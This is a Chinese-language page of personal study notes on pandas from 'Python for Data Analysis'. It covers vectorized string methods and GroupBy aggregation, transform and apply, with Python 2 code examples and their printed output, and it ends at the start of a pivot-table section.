      3. 两种实现矢量化元素获取操作

        • str.get
        • str属性上使用索引

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          matchs = data.str.match(pattern, flags = re.IGNORECASE)
          print matchs
          print

          print matchs.str.get(1)
          print

          print matchs.str[0]
          print

          # 也可以子串截取 :和书不一样,截取的不是整个字符串,而是分区的数量
          print matchs.str[:5]

          #+begin~example~ Dave (dave, google, com) Rob (rob,
          gmail, com) Steve (steve, gmail, com) Wes NaN dtype:
          object

          Dave google Rob gmail Steve gmail Wes NaN dtype: object

          Dave dave Rob rob Steve steve Wes NaN dtype: object

          Dave (dave, google, com) Rob (rob, gmail, com) Steve
          (steve, gmail, com) Wes NaN dtype: object

        #+end~example~

矢量化字符串方法

方法 说明
cat 实现元素级的字符串连接操作可指定分隔符
contains 返回表示各字符串是否含有指定模式的布尔型数组
count 模式的出现次数
endswith startswith 相当于对各元素执行x.endswith(pattern)或x.startswith(pattern)
findall 计算各字符串的模式列表
get 获取各元素第i个字符
join 根据指定的分隔符将Series中各元素的字符串连接起来
len 计算各字符串的长度
lower upper 转换大小写
match 根据指定的正则表达式对各元素执行re.match
pad 在字符串的左边、右边或左右两边天界空白符
center 相当于pad(side = ‘both’)
repeat 重复值
列如s.str.repeat(3)相当于对各个字符串执行x*3
replace 用指定字符串替换找到的模式
slice 对Series中的各个字符串进行子串截取
split 根据分隔符或正则表达式对字符串进行拆分
strip rstrip lstrip 去除空白符,包括换行符
相当于对每个元素执行x.strip() x.rstrip() x.strip()

示例: USDA食品数据库 待补充</span> [示例-usda食品数据库]

Chapter 8: 绘图和可视化

基本引入约定

1
import matplotlib.pyplot as plt

Figure和Subplot

matplotlib的图像都位于Figure对象中,可以使用plt.figure创建新的Figure

1
fig = plt.figure()

Chapter 9: 数据聚合与分组运算

GroupBy技术

例子 [例子-2]

1
2
3
4
5
df = pd.DataFrame({'key1': list('aabba'),
'key2': ['one', 'two', 'one', 'two', 'one'],
'data1': np.random.randn(5),
'data2': np.random.randn(5)})
print df
1
2
3
4
5
6
      data1     data2 key1 key2
0 -1.258749 3.171542 a one
1 -1.284484 1.429326 a two
2 0.229799 -0.981352 b one
3 0.479951 -0.836612 b two
4 0.043948 0.786918 a one
  1. 按照key1进行分组,计算data1分组后的平均值

    1
    2
    3
    4
    5
    6
    7
    grouped = df['data1'].groupby(df['key1'])
    # grouped是groupby的对象
    #它实际上还没有进行任何计算,只是含有一些相关分组键df['key']的中间数据
    print grouped

    # 得到分组后的平均值
    print grouped.mean()
    1
    2
    3
    4
    5
    <pandas.core.groupby.SeriesGroupBy object at 0x00000000078E2DD8>
    key1
    a 0.283288
    b -0.677714
    Name: data1, dtype: float64
    1. 数据(Series)根据分组键进行聚合,产生一个新的Series
  2. 传入多个数组,会得到不同的结果

    1
    2
    3
    4
    means = df['data1'].groupby([df['key1'], df['key2']]).mean()
    print means
    print
    print means.unstack()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    key1  key2
    a one 0.266446
    two 0.316974
    b one -0.574834
    two -0.780594
    Name: data1, dtype: float64

    key2 one two
    key1
    a 0.266446 0.316974
    b -0.574834 -0.780594
  3. 分组键可以是任何长度适当的数组

    1
    2
    3
    states = np.array(['Ohio', 'California', 'California', 'Ohio', 'Ohio'])
    years = np.array([2005,2005, 2006, 2005, 2006])
    print df['data1'].groupby([states, years]).mean()
    1
    2
    3
    4
    5
    California  2005    0.316974
    2006 -0.574834
    Ohio 2005 -0.481406
    2006 0.715109
    Name: data1, dtype: float64
  4. 分组键也可以是列名

    1
    2
    3
    4
    # 因为 key2列不是数值数据,所以从结果中排除了
    print df.groupby('key1').mean()
    print
    print df.groupby(['key1', 'key2']).mean()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
             data1     data2
    key1
    a 0.283288 0.303794
    b -0.677714 -0.125522

    data1 data2
    key1 key2
    a one 0.266446 -0.146678
    two 0.316974 1.204739
    b one -0.574834 -1.315783
    two -0.780594 1.064739
  5. GroupBy中 size方法,返回一个含有分组大小的Series

    1
    print df.groupby(['key1', 'key2']).size()
    1
    2
    3
    4
    5
    6
    key1  key2
    a one 2
    two 1
    b one 1
    two 1
    dtype: int64

对分组进行迭代

  1. GroupBy对象支持迭代,可以产生一组二元元组(由分组名和数据块组成)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    for name, group in df.groupby('key1'):
    print name
    print group
    print "------------分界线----------"

    #多重键的情况,元组的第一元素将会有键值组成的元组
    for (k1, k2), group in df.groupby(['key1', 'key2']):
    print k1, k2
    print group
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    a
    data1 data2 key1 key2
    0 -0.182217 -1.369371 a one
    1 0.316974 1.204739 a two
    4 0.715109 1.076016 a one
    b
    data1 data2 key1 key2
    2 -0.574834 -1.315783 b one
    3 -0.780594 1.064739 b two
    ------------分界线----------
    a one
    data1 data2 key1 key2
    0 -0.182217 -1.369371 a one
    4 0.715109 1.076016 a one
    a two
    data1 data2 key1 key2
    1 0.316974 1.204739 a two
    b one
    data1 data2 key1 key2
    2 -0.574834 -1.315783 b one
    b two
    data1 data2 key1 key2
    3 -0.780594 1.064739 b two
  2. 可以对这些数据片段做任何操作

    1. 将这些数据片段做成一个字典

      1
      2
      pieces = dict(list(df.groupby('key1')))
      print pieces['b']
      1
      2
      3
            data1     data2 key1 key2
      2 -0.574834 -1.315783 b one
      3 -0.780594 1.064739 b two
  3. groupby默认在axis = 0 上进行分组,可以在其他任意轴上进行分组

    1
    2
    3
    4
    print df.dtypes
    print "----------分割线----------"
    grouped = df.groupby(df.dtypes, axis = 1)
    print dict(list(grouped))
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    data1    float64
    data2 float64
    key1 object
    key2 object
    dtype: object
    ----------分割线----------
    {dtype('O'): key1 key2
    0 a one
    1 a two
    2 b one
    3 b two
    4 a one, dtype('float64'): data1 data2
    0 -0.182217 -1.369371
    1 0.316974 1.204739
    2 -0.574834 -1.315783
    3 -0.780594 1.064739
    4 0.715109 1.076016}

选取一个或一组列

  1. 对于GroupBy对象,用一个或一组列名对其索引,就能实现选取部分进行聚合

    1
    2
    df.groupby('key1')['data1'] #等同于
    df['data1'].groupby(df['key1'])
  2. 部分列进行聚合

    1
    2
    3
    4
    5
    6
    7
    8
    print df.groupby(['key1', 'key2'])[['data2']].mean()


    #分解
    #索引操作返回的是一个已经分组的DF或Series
    s_grouped = df.groupby(['key1', 'key2'])['data2']
    print s_grouped
    print s_grouped.mean()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
                  data2
    key1 key2
    a one -0.146678
    two 1.204739
    b one -1.315783
    two 1.064739
    <pandas.core.groupby.SeriesGroupBy object at 0x00000000079156A0>
    key1 key2
    a one -0.146678
    two 1.204739
    b one -1.315783
    two 1.064739
    Name: data2, dtype: float64

通过字典或Series进行分组

  1. 除数组以外,分组信息可以是其他形式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    people = pd.DataFrame(np.random.randn(5,5),
    columns = list('abcde'),
    index = ['Joe', 'Steve', 'Wes','Jim', 'Travis'])
    people.ix[2:3, ['b', 'c']] = np.nan #添加几个Na值
    print people
    print

    mapping = {'a': 'red', 'b' : 'red', 'c': 'blue',
    'd': 'blue', 'e': 'red', 'f': 'orange'}
    #将字典传入GroupBy,会按照值所分组
    by_column = people.groupby(mapping, axis = 1)
    print by_column.sum()
    print

    # Series和字典相同
    map_series = pd.Series(mapping)
    print map_series
    print
    print people.groupby(map_series, axis = 1).count()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
                   a         b         c         d         e
    Joe -2.127568 0.644625 1.527150 -1.723420 1.240916
    Steve 0.205717 -0.577552 1.116407 -0.688821 1.786387
    Wes 0.441377 NaN NaN 1.937912 -1.081868
    Jim 1.229922 -1.001966 -0.582819 -1.197620 -0.644821
    Travis 0.724864 0.166980 0.245261 1.648537 -0.074912

    blue red
    Joe -0.196269 -0.242027
    Steve 0.427586 1.414552
    Wes 1.937912 -0.640491
    Jim -1.780440 -0.416866
    Travis 1.893798 0.816932

    a red
    b red
    c blue
    d blue
    e red
    f orange
    dtype: object

    blue red
    Joe 2 3
    Steve 2 3
    Wes 1 2
    Jim 2 3
    Travis 2 3

通过函数进行分组

  1. 任何被当做分组键的函数都会在各个索引值上被调用一次,返回值被当做分组名称

    1. 前面的DF例子,索引值就是人的名字,假设需要按照人名的长度进行分组

      1
      print people.groupby(len).sum()
      1
      2
      3
      4
                a         b         c         d         e
      3 3.725168 2.382762 1.475067 2.176910 1.303406
      5 -0.337910 0.084666 -0.675073 0.387191 -1.221990
      6 0.026837 -1.870793 0.744890 1.697728 0.727134
  2. 函数和其他混合使用,任何东西都会转化成数组

    1
    2
    key_list = ['one', 'one', 'one', 'two', 'two']
    print people.groupby([len, key_list]).min()
    1
    2
    3
    4
    5
                  a         b         c         d         e
    3 one 1.439995 1.996867 0.052409 0.043291 -0.265731
    two -0.140152 0.385895 1.422657 1.269645 -0.051861
    5 one -0.337910 0.084666 -0.675073 0.387191 -1.221990
    6 two 0.026837 -1.870793 0.744890 1.697728 0.727134

根据索引级别分组

  1. 层次化索引数据集可以用索引级别来进行聚合,通过level关键字传入级别编号或者名字

    1
    2
    3
    4
    5
    6
    7
    columns = pd.MultiIndex.from_arrays([['US', "US", 'US', 'JP', 'JP'],
    [1,3,5,1,3]], names = ['city','tenor'])
    hier_df = pd.DataFrame(np.random.randn(4,5), columns = columns)
    print hier_df
    print

    print hier_df.groupby(level = 'city', axis = 1).count()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    city         US                            JP
    tenor 1 3 5 1 3
    0 0.033120 0.491344 0.711003 0.107217 0.380337
    1 -1.006004 0.288515 -2.025270 -0.046512 1.444702
    2 -0.915980 -0.914577 -1.542210 1.667547 0.462239
    3 -0.631588 -0.711685 -1.058402 0.351632 -0.374062

    city JP US
    0 2 3
    1 2 3
    2 2 3
    3 2 3

数据聚合

分组后的聚合处理

  1. 用quantile计算样本分位数

    1
    2
    3
    4
    print df

    grouped = df.groupby('key1')
    print grouped['data1'].quantile(0.9)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
          data1     data2 key1 key2
    0 -1.258749 3.171542 a one
    1 -1.284484 1.429326 a two
    2 0.229799 -0.981352 b one
    3 0.479951 -0.836612 b two
    4 0.043948 0.786918 a one
    key1
    a -0.216591
    b 0.454936
    Name: data1, dtype: float64
  2. 使用自己的聚合函数,传入agg或aggregate方法即可

    1
    2
    3
    4
    5
    6
    7
    def peak_to_peak(arr):
    return arr.max() - arr.min()
    print grouped.agg(peak_to_peak)
    print

    #有些方法(如describe)也可以使用
    print grouped.describe()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
             data1     data2
    key1
    a 1.328433 2.384624
    b 0.250152 0.144740

    data1 data2
    key1
    a count 3.000000 3.000000
    mean -0.833095 1.795929
    std 0.759651 1.233858
    min -1.284484 0.786918
    25% -1.271617 1.108122
    50% -1.258749 1.429326
    75% -0.607400 2.300434
    max 0.043948 3.171542
    b count 2.000000 2.000000
    mean 0.354875 -0.908982
    std 0.176884 0.102346
    min 0.229799 -0.981352
    25% 0.292337 -0.945167
    50% 0.354875 -0.908982
    75% 0.417413 -0.872797
    max 0.479951 -0.836612

经过优化的groupby的方法

函数 说明
count 分组中非NA值的数量
sum 非NA值的和
mean 非NA值的平均值
median 非NA值的算术中位数
std var 无偏(分母为n-1)标准差和方差
min max 非NA值的最小值和最大值
prod 非NA值的积
first last 第一个和最后一个非NA值

更高级的聚合功能

1
2
3
4
5
tips = pd.read_csv('./pydata-book-master/ch08/tips.csv')

#添加"小费占总额百分比"的列
tips['tip_pct'] = tips['tip'] /tips['total_bill']
print tips[:6]
1
2
3
4
5
6
7
   total_bill   tip     sex smoker  day    time  size   tip_pct
0 16.99 1.01 Female No Sun Dinner 2 0.059447
1 10.34 1.66 Male No Sun Dinner 3 0.160542
2 21.01 3.50 Male No Sun Dinner 3 0.166587
3 23.68 3.31 Male No Sun Dinner 2 0.139780
4 24.59 3.61 Female No Sun Dinner 4 0.146808
5 25.29 4.71 Male No Sun Dinner 4 0.186240
  1. 面向列的多函数应用

    1. 对于不同列使用不同的聚合函数

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      #根据sex和smoker对tips进行分组
      grouped = tips.groupby(['sex', 'smoker'])

      grouped_pct = grouped['tip_pct']

      #对于优化的groupby方法可以使用函数名的字符串方式传入
      print grouped_pct.agg('mean')
      print

      #传入一组函数名,则各列或是对应的函数名命名
      print grouped_pct.agg(['mean', 'std'])
      print

      #自定义名字
      print grouped_pct.agg([('foo', 'mean'), ('bar', 'std')])
      print

      #对部分列进行统计
      functions = ['count', 'mean', 'max']
      result = grouped['tip_pct', 'total_bill'].agg(functions)
      print result
      print

      #对于不同列用不同函数, 传入字典
      print grouped.agg({'tip': np.max, 'size': 'sum'})
      print
      print grouped.agg({'tip': ['max', 'min', 'mean', np.std],
      'size': 'sum'})
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      sex     smoker
      Female No 0.156921
      Yes 0.182150
      Male No 0.160669
      Yes 0.152771
      Name: tip_pct, dtype: float64

      mean std
      sex smoker
      Female No 0.156921 0.036421
      Yes 0.182150 0.071595
      Male No 0.160669 0.041849
      Yes 0.152771 0.090588

      foo bar
      sex smoker
      Female No 0.156921 0.036421
      Yes 0.182150 0.071595
      Male No 0.160669 0.041849
      Yes 0.152771 0.090588

      tip_pct total_bill
      count mean max count mean max
      sex smoker
      Female No 54 0.156921 0.252672 54 18.105185 35.83
      Yes 33 0.182150 0.416667 33 17.977879 44.30
      Male No 97 0.160669 0.291990 97 19.791237 48.33
      Yes 60 0.152771 0.710345 60 22.284500 50.81

      tip size
      sex smoker
      Female No 5.2 140
      Yes 6.5 74
      Male No 9.0 263
      Yes 10.0 150

      tip size
      max min mean std sum
      sex smoker
      Female No 5.2 1.00 2.773519 1.128425 140
      Yes 6.5 1.00 2.931515 1.219916 74
      Male No 9.0 1.25 3.113402 1.489559 263
      Yes 10.0 1.00 3.051167 1.500120 150

以”无索引”的形式返回聚合数据

1
2
3
print tips.groupby(['sex', 'smoker']).mean()
print
print tips.groupby(['sex', 'smoker'], as_index = False).mean()
1
2
3
4
5
6
7
8
9
10
11
12
               total_bill       tip      size   tip_pct
sex smoker
Female No 18.105185 2.773519 2.592593 0.156921
Yes 17.977879 2.931515 2.242424 0.182150
Male No 19.791237 3.113402 2.711340 0.160669
Yes 22.284500 3.051167 2.500000 0.152771

sex smoker total_bill tip size tip_pct
0 Female No 18.105185 2.773519 2.592593 0.156921
1 Female Yes 17.977879 2.931515 2.242424 0.182150
2 Male No 19.791237 3.113402 2.711340 0.160669
3 Male Yes 22.284500 3.051167 2.500000 0.152771

分组级运算和转换

聚合只是分组级运算的一种,他是数据转换的一个特例

使用 transform和apply来进行其他分组运算

  1. transform的使用

    1. 为DF添加一个存放索引分组平均值的列

      1. 聚合后在合并

        1
        2
        3
        4
        5
        6
        7
        8
        print df
        print

        k1_means = df.groupby('key1').mean().add_prefix('mean_')
        print k1_means
        print

        print pd.merge(df, k1_means, left_on = 'key1', right_index = True)
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
              data1     data2 key1 key2
        0 -1.258749 3.171542 a one
        1 -1.284484 1.429326 a two
        2 0.229799 -0.981352 b one
        3 0.479951 -0.836612 b two
        4 0.043948 0.786918 a one

        mean_data1 mean_data2
        key1
        a -0.833095 1.795929
        b 0.354875 -0.908982

        data1 data2 key1 key2 mean_data1 mean_data2
        0 -1.258749 3.171542 a one -0.833095 1.795929
        1 -1.284484 1.429326 a two -0.833095 1.795929
        4 0.043948 0.786918 a one -0.833095 1.795929
        2 0.229799 -0.981352 b one 0.354875 -0.908982
        3 0.479951 -0.836612 b two 0.354875 -0.908982
    2. 在groupby上使用transform

      1
      2
      3
      4
      5
      key = ['one', 'two', 'one', 'two', 'one']
      print people.groupby(key).mean()
      print

      print people.groupby(key).transform(np.mean)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
                  a         b         c         d         e
      one -0.320443 0.405803 0.886206 0.621010 0.028046
      two 0.717819 -0.789759 0.266794 -0.943221 0.570783

      a b c d e
      Joe -0.320443 0.405803 0.886206 0.621010 0.028046
      Steve 0.717819 -0.789759 0.266794 -0.943221 0.570783
      Wes -0.320443 0.405803 0.886206 0.621010 0.028046
      Jim 0.717819 -0.789759 0.266794 -0.943221 0.570783
      Travis -0.320443 0.405803 0.886206 0.621010 0.028046
      1. transform将一个函数应用于各个分组,然后将结果放到适当的位子

      2. 如果各分组产生一个标量值,则该值会被广播出去

        1. 列如从各组减去平均值

          1
          2
          3
          4
          5
          6
          7
          8
          def demean(arr):
          return arr - arr.mean()
          demeaned = people.groupby(key).transform(demean)
          print demeaned
          print

          #检测demeaned现在的分组平均值是否是0
          print demeaned.groupby(key).mean()
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
                         a         b         c         d         e
          Joe -1.807126 0.238822 0.640945 -2.344429 1.212871
          Steve -0.512103 0.212207 0.849613 0.254399 1.215604
          Wes 0.761820 NaN NaN 1.316902 -1.109913
          Jim 0.512103 -0.212207 -0.849613 -0.254399 -1.215604
          Travis 1.045306 -0.238822 -0.640945 1.027527 -0.102958

          a b c d e
          one 7.401487e-17 2.775558e-17 0.0 -1.480297e-16 -6.476301e-17
          two -5.551115e-17 5.551115e-17 0.0 0.000000e+00 0.000000e+00
  2. apply: 一般性的”拆分-应用-合并”

    1. 先编写一个选取指定列具有最大值的行的函数

      1
      2
      3
      def top(df, n = 5, column = 'tip_pct'):
      return df.sort_index(by = column)[-n:]
      print top(tips, n = 6)
      1
      2
      3
      4
      5
      6
      7
           total_bill   tip     sex smoker  day    time  size   tip_pct
      109 14.31 4.00 Female Yes Sat Dinner 2 0.279525
      183 23.17 6.50 Male Yes Sun Dinner 4 0.280535
      232 11.61 3.39 Male No Sat Dinner 2 0.291990
      67 3.07 1.00 Female Yes Sat Dinner 1 0.325733
      178 9.60 4.00 Female Yes Sun Dinner 2 0.416667
      172 7.25 5.15 Male Yes Sun Dinner 2 0.710345
    2. 如果对smoker分组,并调用appley

      1. 分别对分好组的数据进行函数的运算,之后用pd.concat组装在一块

        1
        print tips.groupby('smoker').apply(top)
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
                    total_bill   tip     sex smoker   day    time  size   tip_pct
        smoker
        No 88 24.71 5.85 Male No Thur Lunch 2 0.236746
        185 20.69 5.00 Male No Sun Dinner 5 0.241663
        51 10.29 2.60 Female No Sun Dinner 2 0.252672
        149 7.51 2.00 Male No Thur Lunch 2 0.266312
        232 11.61 3.39 Male No Sat Dinner 2 0.291990
        Yes 109 14.31 4.00 Female Yes Sat Dinner 2 0.279525
        183 23.17 6.50 Male Yes Sun Dinner 4 0.280535
        67 3.07 1.00 Female Yes Sat Dinner 1 0.325733
        178 9.60 4.00 Female Yes Sun Dinner 2 0.416667
        172 7.25 5.15 Male Yes Sun Dinner 2 0.710345
      2. 如果传给apply的函数能接受其他参数或者关键字,可以在函数名后传入

        1
        print tips.groupby(['smoker','day']).apply(top, n = 1, column = 'total_bill')
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
                         total_bill    tip     sex smoker   day    time  size  \
        smoker day
        No Fri 94 22.75 3.25 Female No Fri Dinner 2
        Sat 212 48.33 9.00 Male No Sat Dinner 4
        Sun 156 48.17 5.00 Male No Sun Dinner 6
        Thur 142 41.19 5.00 Male No Thur Lunch 5
        Yes Fri 95 40.17 4.73 Male Yes Fri Dinner 4
        Sat 170 50.81 10.00 Male Yes Sat Dinner 3
        Sun 182 45.35 3.50 Male Yes Sun Dinner 3
        Thur 197 43.11 5.00 Female Yes Thur Lunch 4

        tip_pct
        smoker day
        No Fri 94 0.142857
        Sat 212 0.186220
        Sun 156 0.103799
        Thur 142 0.121389
        Yes Fri 95 0.117750
        Sat 170 0.196812
        Sun 182 0.077178
        Thur 197 0.115982
    3. 禁止分组键

      1. 分组键会跟原始对象的索引共同构成层次化索引,可以用group~keys~
        = False来禁用该效果

        1
        print tips.groupby('smoker', group_keys = False).apply(top)
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
             total_bill   tip     sex smoker   day    time  size   tip_pct
        88 24.71 5.85 Male No Thur Lunch 2 0.236746
        185 20.69 5.00 Male No Sun Dinner 5 0.241663
        51 10.29 2.60 Female No Sun Dinner 2 0.252672
        149 7.51 2.00 Male No Thur Lunch 2 0.266312
        232 11.61 3.39 Male No Sat Dinner 2 0.291990
        109 14.31 4.00 Female Yes Sat Dinner 2 0.279525
        183 23.17 6.50 Male Yes Sun Dinner 4 0.280535
        67 3.07 1.00 Female Yes Sat Dinner 1 0.325733
        178 9.60 4.00 Female Yes Sun Dinner 2 0.416667
        172 7.25 5.15 Male Yes Sun Dinner 2 0.710345

分位数和桶分析

  1. 使用拆分工具(cut, qcut)和groupby结合,实现对数据集的 桶或分位数拆分

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    frame = pd.DataFrame({'data1': np.random.randn(1000),
    'data2': np.random.randn(1000)})
    factor = pd.cut(frame.data1, 4)

    #由cut返回的Factor对象可用于groupby
    def get_stats(group):
    return ({'min': group.min(), 'max':group.max(),
    'count': group.count(), 'mean': group.mean()})
    grouped = frame.data2.groupby(factor)
    print grouped.apply(get_stats).unstack()
    1
    2
    3
    4
    5
    6
                       count       max      mean       min
    data1
    (-2.783, -1.0122] 149.0 3.049340 -0.093282 -2.838853
    (-1.0122, 0.751] 618.0 3.182495 -0.044764 -2.767363
    (0.751, 2.515] 225.0 2.425162 0.094163 -3.482998
    (2.515, 4.278] 8.0 0.685021 -0.597498 -1.827032

示例:用特定于分组的值填充缺失值

使用fillna来填充NA值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
s = pd.Series(np.random.randn(6))
s[::2] = np.nan
print s
print
print s.fillna(s.mean())
print

#对于不同的分组填充
states = ['Ohio', 'New York', 'Vermont', "Florida",
'Oregon', 'Nevada', 'California', 'Idaho']
group_key = ['East'] * 4 + ['West'] * 4
data = pd.Series(np.random.randn(8),index = states)
data [['Vermont', 'Nevada', 'Idaho']] = np.nan
print data
print

print data.groupby(group_key).mean()
print

#使用分组的平均值填充NA值
fill_mean = lambda g: g.fillna(g.mean())
print data.groupby(group_key).apply(fill_mean)
print

#可以在代码中预定各组的填充值,由于分组具有一个name属性,所以可以指定
fill_values = {'East': 0.5, 'West': -1}
fill_func = lambda g: g.fillna(fill_values[g.name]) #g.name 分组的名字 即 East West
print data.groupby(group_key).apply(fill_func)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
0         NaN
1 -0.214061
2 NaN
3 0.505217
4 NaN
5 -1.435665
dtype: float64

0 -0.381503
1 -0.214061
2 -0.381503
3 0.505217
4 -0.381503
5 -1.435665
dtype: float64

Ohio 0.080286
New York 0.129721
Vermont NaN
Florida 0.894821
Oregon -0.037896
Nevada NaN
California -1.094791
Idaho NaN
dtype: float64

East 0.368276
West -0.566344
dtype: float64

Ohio 0.080286
New York 0.129721
Vermont 0.368276
Florida 0.894821
Oregon -0.037896
Nevada -0.566344
California -1.094791
Idaho -0.566344
dtype: float64

Ohio 0.080286
New York 0.129721
Vermont 0.500000
Florida 0.894821
Oregon -0.037896
Nevada -1.000000
California -1.094791
Idaho -1.000000
dtype: float64

示例:随机采样和排列

从一个大数据集中随机抽取样本以进行蒙特卡洛模拟或其他分析

抽取的方法有很多,其中之一就是用np.random.permutation(n)的前k个元素

  1. 其中k是期望样本的大小,n为完整数据的大小

    1. 得到一套牌组

      1
      2
      3
      4
      5
      6
      7
      8
      9
      #红桃(hearts), 黑桃(Spades), 梅花(Clubs),方块(Diamonds)
      suits = ['H', 'S', 'C', "D"]
      card_val = (range(1,11) + [10] * 3) *4
      base_names = ['A'] + range(2,11) + ['J', 'Q', 'K']
      cards = []
      for suit in suits:
      cards.extend(str(num) + suit for num in base_names)
      deck = pd.Series(card_val, index = cards)
      print deck[:14]
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      AH      1
      2H 2
      3H 3
      4H 4
      5H 5
      6H 6
      7H 7
      8H 8
      9H 9
      10H 10
      JH 10
      QH 10
      KH 10
      AS 1
      dtype: int64
    2. 从整副牌抽取5张

      1
      2
      3
      def draw(deck, n = 5):
      return deck.take(np.random.permutation(len(deck))[:n])
      print draw(deck)
      1
      2
      3
      4
      5
      6
      JD    10
      3H 3
      7S 7
      8S 8
      5C 5
      dtype: int64
    3. 从各花色中随机抽取两张牌

      1
      2
      3
      4
      5
      6
      get_suit = lambda card: card[-1] #选取最后一个字母,就是花色
      print deck.groupby(get_suit).apply(draw, n = 2)
      print

      #另一种方法
      print deck.groupby(get_suit, group_keys = False).apply(draw, n = 2)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      C  3C      3
      10C 10
      D 7D 7
      5D 5
      H 7H 7
      2H 2
      S 8S 8
      7S 7
      dtype: int64

      KC 10
      JC 10
      3D 3
      7D 7
      JH 10
      10H 10
      JS 10
      3S 3
      dtype: int64

示例:分组加权平均值和相关系数

根据groupy的”拆分-应用-合并”范式,DF的列与列或两个Series之间的运算

  1. 分组加权平均数

    1. 加权平均数 是 数据乘以权数的和 / 权数的和

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      df = pd.DataFrame({'category': list('aabb'),
      'data': np.random.randn(4),
      'weights': np.random.rand(4)})
      print df
      print

      #利用category计算分组加权平均数
      grouped = df.groupby('category')
      get_wavg = lambda g: np.average(g['data'], weights = g['weights'])
      print grouped.apply(get_wavg)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
        category      data   weights
      0 a -0.995153 0.224198
      1 a 2.399610 0.921270
      2 b 1.248725 0.570782
      3 b -1.517198 0.830123

      category
      a 1.735167
      b -0.390256
      dtype: float64
    2. 实际点的例子

      1. 来自Yahoo!Finance的数据集,其中含有标准普尔500指数(spx字段)和几只股的收盘价

        1
        2
        3
        4
        close_px = pd.read_csv('./pydata-book-master/ch09/stock_px.csv', parse_dates = True, index_col = 0)
        print close_px[-4:]
        print
        print close_px.pct_change()[-4:]
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
                      AAPL   MSFT    XOM      SPX
        2011-10-11 400.29 27.00 76.27 1195.54
        2011-10-12 402.19 26.96 77.16 1207.25
        2011-10-13 408.43 27.18 76.37 1203.66
        2011-10-14 422.00 27.27 78.11 1224.58

        AAPL MSFT XOM SPX
        2011-10-11 0.029526 0.002227 -0.000131 0.000544
        2011-10-12 0.004747 -0.001481 0.011669 0.009795
        2011-10-13 0.015515 0.008160 -0.010238 -0.002974
        2011-10-14 0.033225 0.003311 0.022784 0.017380
        1. 计算由日收益率(通过百分数变化计算)与SPX之间的年度相关数组成的DF

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          # pct_change 对比变化,相对上个数字的相对变化
          rets = close_px.pct_change().dropna()
          spx_corr = lambda x: x.corrwith(x['SPX'])
          by_year = rets.groupby(lambda x: x.year)
          print by_year.apply(spx_corr)
          print

          #计算列和列之间的相关关系
          #计算苹果和微软的年度相关系数
          print by_year.apply(lambda g: g['AAPL'].corr(g['MSFT']))
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
                    AAPL      MSFT       XOM  SPX
          2003 0.541124 0.745174 0.661265 1.0
          2004 0.374283 0.588531 0.557742 1.0
          2005 0.467540 0.562374 0.631010 1.0
          2006 0.428267 0.406126 0.518514 1.0
          2007 0.508118 0.658770 0.786264 1.0
          2008 0.681434 0.804626 0.828303 1.0
          2009 0.707103 0.654902 0.797921 1.0
          2010 0.710105 0.730118 0.839057 1.0
          2011 0.691931 0.800996 0.859975 1.0

          2003 0.480868
          2004 0.259024
          2005 0.300093
          2006 0.161735
          2007 0.417738
          2008 0.611901
          2009 0.432738
          2010 0.571946
          2011 0.581987
          dtype: float64

示例: 面向分组的线性回归

1
2
3
4
5
6
7
8
9
#需要安装statsmodels库
import statsmodels.api as sm
def regress(data, yvar, xvars):
y = data[yvar]
x = data[xvers]
x['intercept'] = 1
result = sm.OLS(x,y).fit()
return result.params
print by_year.apply(regress, 'AAPL', ['SPX'])

透视表和交叉表

可以通过groupby以及重塑运算制作透视表

DF有 pivot~table方法~,还有顶级方法pandas.pivot~table函数~

除了能为groupby提供便利之外,pivot~table还可以添加分项小计~(margins)

  1. 对小费数据,根据sex和smoker计算分组平均数(默认聚合类型),并将sex和smoker放到行上

    1
    print tips.pivot_table(index = ['sex', 'smoker'])
    1
    2
    3
    4
    5
    6
